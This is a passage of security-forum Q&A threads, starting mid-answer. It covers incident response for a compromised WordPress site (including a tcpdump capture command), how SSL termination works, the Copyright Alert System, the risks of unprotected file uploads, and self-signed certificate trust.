Note that the return code is 503. This suggests that the server didn't process the request (This is not a guarantee, however, as PHP has the ability to set arbitrary return codes). What this likely means, is that after your system was compromised, it was being used to serve redirect spam. Not to get too into the weeds, but many spam systems keep track of the reputation of URLs. So an attacker can't spam people with "my-scam-nike-store.com", because of its low reputation, instead, it will compromise your website, with a good or unknown reputation, send the spam as long as it can, and move on to another victim. Your system would be used to redirect (HTTP status codes in the 300-400 range) users to the scam site.

But how did it get there?

It is most likely that you have a vulnerable wordpress plugin or some other php file being used to upload files. You will want to figure out which file is being used so you can either remove it or fix it. Hopefully, the same IP that accessed quarantine_wp_protect.php is the IP that was responsible for placing the file. If that is the case, then the IP greps mentioned above should show some activity with the vulnerable file. If no other files are shown, you can also try comparing the timestamp of the file to what was happening in the web logs at that time. (Note: as mentioned previously, that timestamp may have been changed by an attacker)

I removed the file, am I done?

No, if you can't determine the root cause, you likely won't be able to fix the problem that let the intruders in in the first place. The best course of action is to fix the vulnerable file and then redeploy (either to a new webserver or wipe the old one and resetup). The reason for this is that there are lots of ways intruders can bury themselves in your application once they have access. They can use cronjobs, startup services, or backdoor your own php files. You can go through the motions of looking for all of these things and hoping you thought of every trick they may have thought of, or you can just redeploy.

If you can't redeploy, one thing you will to do is set up a packet capture. You can use a program like tcpdump to log all HTTP traffic at the network level. This will let you see exactly what requests are coming in and what response is being sent. If the intruder is particularly clever, this could be one of the only ways of verifying that the correct data is being delivered.

nohup sudo -b tcpdump -ni eth0 -s65535 -G 3600 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' port 80

I would recommend doing this for a day or two atleast. Be careful where you save the recordings though, as it will capture things like your wordpress username and password if you haven't set up HTTPS.

Additionally, there are many steps that may need to be taken depending on your application or business. Was customer data stolen? Did passwords get compromised? Logging can help answer many of these questions. Do database passwords or application secrets need to be changed? In most cases, you'll want to err on the side of caution and just change them.


In detail, how does SSL offloading/acceleration/termination work? What is the in-depth working mechanism of SSL offloading/termination?
I could not find literature that would dive deep enough into the subject.

Assume the following example, where a intends to download a resource on the webserver (the client is not aware that an SSL terminator is installed).

Client++++++++++(SSL terminator)······Webserver

Questions:

Does the client establish the TCP connection to the SSL terminator or to the Webserver?
Does the SSL Terminator affect the TCP connection in any way?

If there is material on line explaining this, please point me to it.
Thank you!

There are two sessions:

Client <====1====> SSL Terminator <====2====> Webserver

Each of those is a TCP session.

Session 1 is SSL-over-TCP, and session 2 is plain TCP.

SSL Terminator has dedicated hardware which speeds up the SSL encryption/decryption process (commonly 'cryption is "offloaded" to specialized cards).  Because this special hardware is less easily available to use on the webserver itself, the SSL Terminator fills a niche.

Some related reading:

SSL Offloading from F5
SSL Acceleration from Wikipedia (bear in mind, an SSL Terminator may simply be a device that takes advantage of SSL acceleration hardware without the webserver admin needing to muck with hardware or APIs).
SSL Offloading from nginx


How does the Copyright Alert System work? Who has implemented it? Some ISPs are participating in a Copyright Alert System that notifies content authors of violations of their copyright.

I'm concerned how this oversight relates to my private traffic, and what laws and permissions allow this type of monitoring.

Can someone provide technical as how this works and/or what laws allow the related surveillance?

ISPs have never been involved in the process of determining whether or not specific traffic is related to a copyright violation.  From a technical perspective the ISP is one of the worst places to implement such a monitoring system.  (There is a huge amount of traffic flowing through an ISP, and a huge number of possible copyright violations.  At best case that is O(n^2),  and if the ISP introduces any amount of "lag" people are going to freak out.)

Apart of the "Copyright Alert System" is the "Center For Copyright Information (CCI)" which states the following:

  Under this system copyright holders  will notify a participating ISP
  when they believe their copyrights are being misused online by a
  specific computer (identified by its Internet Protocol (“IP”) address
  which indicates the connection to the Internet).

...and this has been going on all along.  Copyright holders pay companies (thugs) to search p2p networks looking for people who are sharing their protected content.  This produces a list of IP addresses, with a simple WHOIS you can get the ISP's abuse notification email address.  This new system is just a more formal channel for reporting abuse.

That being said this whole system is ripe for abuse.  It just introduces a DoS condition that is trivial to exploit.  You just have to send 6 requests to take down ANY target!


Is no access control on file upload/file download of safe types considered a vulnerability Under the theoretical assumption that file uploads were correctly protected (i.e no malicious file types, extensions, scanning etc.), what are the concerns with having no access control on file upload/file download capabilities if the only identifier was a GUID to access an uploaded file.

I think the main concern I have is that it could be utilised as a free file hosting server for pirated media, or could be flooded with bulk files to consume the data storage to interrupt the service from running correctly.

What are other arguments are there against having no access control on file uploads?

Assuming nothing malicious is able to get through (a huge assumption, which I would assume to not be possible!). Without access control you will possibly attract:

DOS by bulk upload
Possible illegal content sharing (including kiddy
porn...)
Zero day vulnerabilities in files that you cannot protect
from (this falls outside of your assumption as the assumption must be
that there are always undetected vulnerabilities);
You will have no way to block accounts or people (IP's are dynamic...) when the police come nocking
Check your local countries laws on who is responsible for the content. In case of kiddy porn it might be that you can be held responsible!

Hopefully this helps a bit?


Basic self-signed certificate questions A few basic questions around self-signed certificates

Question 1

Does a self-signed certificate has to have a CA? I realize that a "real" certificate must as it otherwise can be chain validated but what about self-signed?

Question 2

If a self-signed hasn't got a CA - should it still go in the trusted CA store to not cause chain validation errors when using it for test?

Question 3

Is there a way to see if a self-signed cert is signed by a CA - if it has a CA does that effect the question above? Do I then have to have the CA to trust it or can I still just put the actual cert in the CA store to create a secure SSL channel for example?

A certificate is signed by the CA which issues it. A self-signed certificate, by definition, is not issued by a CA (or is its own CA, if you want to view it like this).

A certificate may have CA power, i.e. be trusted to sign other certificates, or not, depending on whether it contains a Basic Constraints extension with the cA flag set to TRUE (cf the standard).

What happens is the following: when some application wants to validate a certificate (e.g. a Web browser who wants to do SSL with a server, and just obtained the server's certificate), it will want to build a certificate chain which begins with a "trust anchor" (one of the certificates in its "trusted root" certificate store) and ends with the certificate to validate (called "EE" as "end-entity"). Exact rules for a chain to be valid are intricate and full of details; for the purposes of this answer, let's limit ourselves to these necessary conditions:

The chain must start with a trust anchor.
Each certificate is signed by the previous certificate in the chain (i.e. the signature on each certificate is to be verified relatively to the public key as is stored in the previous certificate).
Each certificate except the end-entity has a Basic Constraints extension with the cA flag set to TRUE.

So a self-signed but not CA certificate, when used as a trust anchor, will be accepted as valid as an end-entity certificate (i.e. in a chain reduced to that certificate exactly) but not otherwise. This is the normal case. When, as a browser user, you want to accept a given self-signed certificate as valid, you actually tell your browser that the self-signed certificate should become a trust anchor -- but you certainly do not want to trust that certificate for issuing other certificates with other names ! You want to trust it only for authenticating a specific site.

As usual, details may vary -- not all browsers react in the exact same ways. But the core concepts remain:

A self-signed certificate lives outside of the CA world: it is not issued by a CA.
A client (browser) uses trust anchors as the basis for what it trusts.
A self-signed certificate for a Web server, usually, should be trusted (if at all) only for that server, i.e. added as a trust anchor, but not tagged as "good for issuing certificates".

When a chain is reduced to a single certificate, i.e. the end-entity is also the trust anchor, then this is known as direct trust: a specific certificate is trusted by being already known, exactly, instead of being trusted by virtue of being issued by a trusted CA.